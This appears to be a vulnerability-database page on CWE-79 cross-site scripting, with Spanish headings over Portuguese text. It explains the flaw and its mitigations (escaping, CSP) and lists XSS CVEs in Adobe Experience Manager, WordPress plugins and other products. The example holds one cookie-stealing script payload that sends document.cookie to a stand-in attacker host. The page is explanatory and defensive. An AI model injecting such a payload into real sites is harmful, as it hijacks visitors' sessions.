Fallos del tipo CWE-79

28.952 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-48523MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48454MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48557MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48467MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48584MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48587MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-48561MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-48455MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.6%CVE-2023-48451MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.6%CVE-2023-2082MEDIUMBuy Me a Coffee – Button and Widget Plugin <= 3.6 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-4423MEDIUMWP Event Manager – Events Calendar, Registrations, Sell Tickets with WooCommerce <= 3.1.37.1 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-30768MEDIUMA Stored Cross Site Scripting (XSS) issue in ZoneMinder 1.36.12 allows an attacker to execute HTML or JavaScript code via the Username fieldEPSS 0.6%CVE-2022-38902MEDIUMA Cross-site scripting (XSS) vulnerability in the Blog module - add new topic functionality in Liferay Digital Experience Platform 7.3.10 SPEPSS 0.6%CVE-2022-48085MEDIUMSoftr v2.0 was discovered to contain a HTML injection vulnerability via the Work Space Name parameter.EPSS 0.6%CVE-2026-91921MEDIUMCross-Site Scripting (XSS) in 1millionbot’s AI chatbot platformEPSS 0.6%CVE-2023-2404MEDIUMCRM and Lead Management by vcita <= 2.6.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2024-6704MEDIUMComments – wpDiscuz <= 7.6.21 - Unauthenticated HTML InjectionEPSS 0.6%CVE-2023-24724MEDIUMA stored cross site scripting (XSS) vulnerability was discovered in the user management module of the SAS 9.4 Admin Console, due to insufficEPSS 0.6%CVE-2021-21260HIGHXSS in description fieldEPSS 0.6%CVE-2022-31744MEDIUMAn attacker could have injected CSS into stylesheets accessible via internal URIs, such as resource:, and in doing so bypass a page's ContenEPSS 0.6%